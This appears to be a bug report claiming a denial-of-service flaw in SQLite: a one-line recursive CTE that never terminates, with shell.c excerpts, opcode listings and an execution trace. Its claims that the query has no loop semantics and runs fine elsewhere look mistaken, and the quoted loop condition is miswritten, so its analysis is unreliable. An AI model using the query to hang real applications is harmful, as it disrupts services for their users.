In the latest version of sqlite (3.31 release and 3.32 dev), there is an infinite loop vulnerability in the exec_prepared_stmt function, which can be triggered with a crafted statement. This vulnerability may result in denial of service of the target application that using sqlite.
The crafted poc is as followed. Note that the following code works well in mysql and postgresql.
WITH a AS ( SELECT 1 UNION ALL SELECT * FROM a ) SELECT * FROM a;
The cause of the vulnerability is that the generated opcode always return SQLITE_ROW status no matter how many times it is executed. This makes the do-while loop in the exec_prepared_stmt function never exists. We should note that there is no any loop semantic in the crafted poc statement. This is a logic problem in the code generation process of sqlite.
========= shell.c ================
static void exec_prepared_stmt(ShellState *pArg, sqlite3_stmt *pStmt) {
...
do {
...
// execution of the generated opcode always return the SQLITE_ROW status
rc = sqlite3_step(pStmt);
...
} while ( SQLITE_ROW = rc );
...
}
========= generated opcode ================
sqlite> explain WITH a AS ( SELECT 1 UNION ALL SELECT * FROM a ) SELECT * FROM a;
addr opcode p1 p2 p3 p4 p5 comment
---- ------------- ---- ---- ---- ------------- -- -------------
0 Init 0 1 0 00 Start at 1
1 InitCoroutine 1 20 2 00 a
2 OpenPseudo 1 2 1 00 1 columns in r[2]
3 OpenEphemeral 2 1 0 00 nColumn=1; Queue table
4 Integer 1 3 0 00 r[3]=1
5 MakeRecord 3 1 4 00 r[4]=mkrec(r[3])
6 NewRowid 2 5 0 00 r[5]=rowid
7 Insert 2 4 5 08 intkey=r[5] data=r[4]
8 Rewind 2 19 0 00
9 NullRow 1 0 0 00
10 RowData 2 2 0 00 r[2]=data
11 Delete 2 0 0 00
12 Column 1 0 6 00 r[6]=1
13 Yield 1 0 0 00
14 Column 1 0 3 00 r[3]=a.1
15 MakeRecord 3 1 4 00 r[4]=mkrec(r[3])
16 NewRowid 2 5 0 00 r[5]=rowid
17 Insert 2 4 5 08 intkey=r[5] data=r[4]
18 Goto 0 8 0 00
19 EndCoroutine 1 0 0 00
20 InitCoroutine 1 0 2 00
21 Yield 1 25 0 00 next row of a
22 Copy 6 7 0 00 r[7]=r[6]; a.1
23 ResultRow 7 1 0 00 output=r[7]
24 Goto 0 21 0 00
25 Halt 0 0 0 00
======== execution trace of opcode =====================
sqlite3VdbeExec(p)
Get into For-Loop
24: OP_Goto
21: OP_Yield
14: OP_Column
15: OP_MakeRecord
16: OP_NewRowid
17: OP_Insert
18: OP_Goto
8: OP_Rewind
9: OP_NullRow
10: OP_RowData
11: OP_Delete
12: OP_Column
13: OP_Yield
22: OP_Copy
23: OP_ResultRow
sqlite3VdbeExec(p)
end